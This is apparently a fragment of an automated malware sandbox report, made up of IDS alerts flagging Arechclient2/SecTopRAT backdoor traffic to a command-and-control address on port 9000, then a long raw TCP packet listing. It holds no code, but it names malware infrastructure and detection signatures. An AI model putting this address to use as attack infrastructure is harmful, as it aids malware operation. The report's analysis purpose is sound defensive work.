2024-11-28T09:54:01.014030+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49813	45.141.84.168	9000	TCP
2024-11-28T09:54:02.698587+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49814	45.141.84.168	9000	TCP
2024-11-28T09:54:04.232678+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49815	45.141.84.168	9000	TCP
2024-11-28T09:54:05.877388+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49816	45.141.84.168	9000	TCP
2024-11-28T09:54:05.877388+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49816	45.141.84.168	9000	TCP
2024-11-28T09:54:07.467152+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49817	45.141.84.168	9000	TCP
2024-11-28T09:54:09.004337+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49818	45.141.84.168	9000	TCP
2024-11-28T09:54:09.004337+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49818	45.141.84.168	9000	TCP
2024-11-28T09:54:10.637834+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.4	49819	45.141.84.168	9000	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 09:52:08.848732948 CET	49675	443	192.168.2.4	173.222.162.32
Nov 28, 2024 09:52:21.398153067 CET	49672	443	192.168.2.4	173.222.162.32
Nov 28, 2024 09:52:21.398226976 CET	443	49672	173.222.162.32	192.168.2.4
Nov 28, 2024 09:52:28.782574892 CET	49723	80	192.168.2.4	199.232.214.172
Nov 28, 2024 09:52:28.903079987 CET	80	49723	199.232.214.172	192.168.2.4
Nov 28, 2024 09:52:28.903139114 CET	49723	80	192.168.2.4	199.232.214.172
Nov 28, 2024 09:52:51.161446095 CET	49730	80	192.168.2.4	104.18.21.226
Nov 28, 2024 09:52:51.161504030 CET	49731	80	192.168.2.4	104.18.20.226
Nov 28, 2024 09:52:51.282397032 CET	80	49730	104.18.21.226	192.168.2.4
Nov 28, 2024 09:52:51.282440901 CET	80	49731	104.18.20.226	192.168.2.4
Nov 28, 2024 09:52:51.282566071 CET	49730	80	192.168.2.4	104.18.21.226
Nov 28, 2024 09:52:51.282566071 CET	49731	80	192.168.2.4	104.18.20.226
Nov 28, 2024 09:53:03.708650112 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:03.708694935 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:03.708776951 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:03.710057974 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:03.710069895 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:05.497551918 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:05.497912884 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:05.724925995 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:05.724953890 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:05.725306034 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:05.758115053 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:05.803353071 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.134351015 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.134386063 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.134459019 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.134480000 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.134491920 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.134501934 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.134510040 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.134522915 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.134597063 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.320080042 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.320148945 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.320197105 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.320219994 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.320236921 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.320281982 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.357276917 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.357323885 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.357414961 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.357414961 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.357438087 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.357568026 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.492238045 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.492270947 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.492394924 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.492420912 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.492458105 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.519385099 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.519407988 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.519471884 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.519494057 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.519532919 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.540028095 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.540046930 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.540122032 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.540138960 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.540175915 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.559144020 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.559161901 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.559252024 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.559268951 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.559303999 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.692789078 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.692809105 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.692873955 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.692889929 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.692971945 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.705832958 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.705851078 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.705914974 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.705940962 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.705976009 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.721012115 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.721029997 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.721095085 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.721112967 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.721210003 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.736267090 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.736285925 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.736346960 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.736362934 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.736464024 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.749540091 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.749603987 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.749623060 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.749640942 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.749686003 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.749706030 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.765666962 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.765708923 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.765778065 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.765791893 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.765842915 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.765842915 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.770076036 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.770140886 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.770150900 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.770167112 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.770214081 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.770214081 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.770304918 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.770304918 CET	49741	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.770319939 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.770328999 CET	443	49741	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.846184969 CET	49744	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.846235037 CET	443	49744	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.846309900 CET	49744	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.848191977 CET	49745	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.848225117 CET	443	49745	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.848282099 CET	49745	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.850261927 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.850275993 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.850326061 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.851965904 CET	49747	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.851974964 CET	443	49747	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.852025986 CET	49747	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.853745937 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.853800058 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.853866100 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.854659081 CET	49745	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.854672909 CET	443	49745	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.854747057 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.854763985 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.854918957 CET	49747	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.854928017 CET	443	49747	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.855057001 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.855077982 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:06.855087042 CET	49744	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:06.855097055 CET	443	49744	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.577162027 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.577162981 CET	443	49747	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.580101967 CET	49747	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:08.580149889 CET	443	49747	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.580578089 CET	49747	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:08.580584049 CET	443	49747	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.580929041 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:08.580979109 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.581386089 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:08.581394911 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.640482903 CET	443	49744	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.641824007 CET	49744	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:08.641851902 CET	443	49744	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.642100096 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.642565966 CET	49744	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:08.642570972 CET	443	49744	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.643102884 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:08.643116951 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.643466949 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:08.643474102 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.703918934 CET	443	49745	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.704850912 CET	49745	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:08.704874992 CET	443	49745	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:08.705430031 CET	49745	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:08.705435991 CET	443	49745	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.011621952 CET	443	49747	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.011647940 CET	443	49747	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.011710882 CET	49747	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.011746883 CET	443	49747	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.012270927 CET	443	49747	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.012317896 CET	49747	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.012413979 CET	49747	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.012434959 CET	443	49747	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.012448072 CET	49747	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.012455940 CET	443	49747	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.017193079 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.017216921 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.017288923 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.017318010 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.017359972 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.019620895 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.019629002 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.019716024 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.019776106 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.019804955 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.019864082 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.021094084 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.021126032 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.021189928 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.023848057 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.023910999 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.024071932 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.030085087 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.030112982 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.030186892 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.030208111 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.085796118 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.085860014 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.085932970 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.087471962 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.087471962 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.087496042 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.087507010 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.089493036 CET	443	49744	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.089514971 CET	443	49744	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.089566946 CET	49744	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.089592934 CET	443	49744	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.089638948 CET	49744	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.090781927 CET	49744	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.090781927 CET	49744	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.090789080 CET	443	49744	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.090954065 CET	443	49744	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.090979099 CET	443	49744	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.091058016 CET	49744	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.094981909 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.095016003 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.095081091 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.095329046 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.095340014 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.096072912 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.096107960 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.096374989 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.096715927 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.096726894 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.157286882 CET	443	49745	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.157372952 CET	443	49745	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.157452106 CET	49745	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.157845020 CET	49745	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.157861948 CET	443	49745	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.157875061 CET	49745	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.157881021 CET	443	49745	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.160983086 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.161001921 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:09.161083937 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.161906004 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:09.161916971 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.745079994 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.745687008 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:10.745728016 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.746167898 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:10.746174097 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.809925079 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.810671091 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:10.810692072 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.811302900 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:10.811322927 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.817751884 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.831563950 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:10.831592083 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.832061052 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:10.832067966 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.877177000 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.878485918 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.893201113 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:10.893224955 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.893711090 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:10.893716097 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.893956900 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:10.893986940 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:10.894314051 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:10.894320011 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.184040070 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.184118986 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.184250116 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.201668024 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.201714993 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.201731920 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.201740026 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.228981018 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.229028940 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.229104996 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.229263067 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.229275942 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.252799034 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.252883911 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.253000975 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.253175020 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.253195047 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.253206968 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.253212929 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.254297018 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.254367113 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.254461050 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.254877090 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.254877090 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.254904032 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.254920006 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.257314920 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.257359028 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.257428885 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.258488894 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.258537054 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.258599997 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.259068012 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.259082079 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.259144068 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.259161949 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.314676046 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.314762115 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.314867020 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.315069914 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.315084934 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.315095901 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.315100908 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.318284988 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.318332911 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.318401098 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.318566084 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.318578959 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.320945978 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.321007013 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.321054935 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.321147919 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.321163893 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.321175098 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.321180105 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.323224068 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.323271990 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:11.323329926 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.323462009 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:11.323477030 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:12.975150108 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.014626980 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.014652014 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.018959999 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:13.018969059 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.034924984 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.038991928 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.074280024 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:13.098777056 CET	49757	443	192.168.2.4	13.107.246.63
